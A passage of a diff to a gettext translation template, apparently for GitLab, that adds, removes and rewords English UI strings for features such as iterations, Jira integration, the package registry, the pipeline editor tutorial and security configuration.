+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
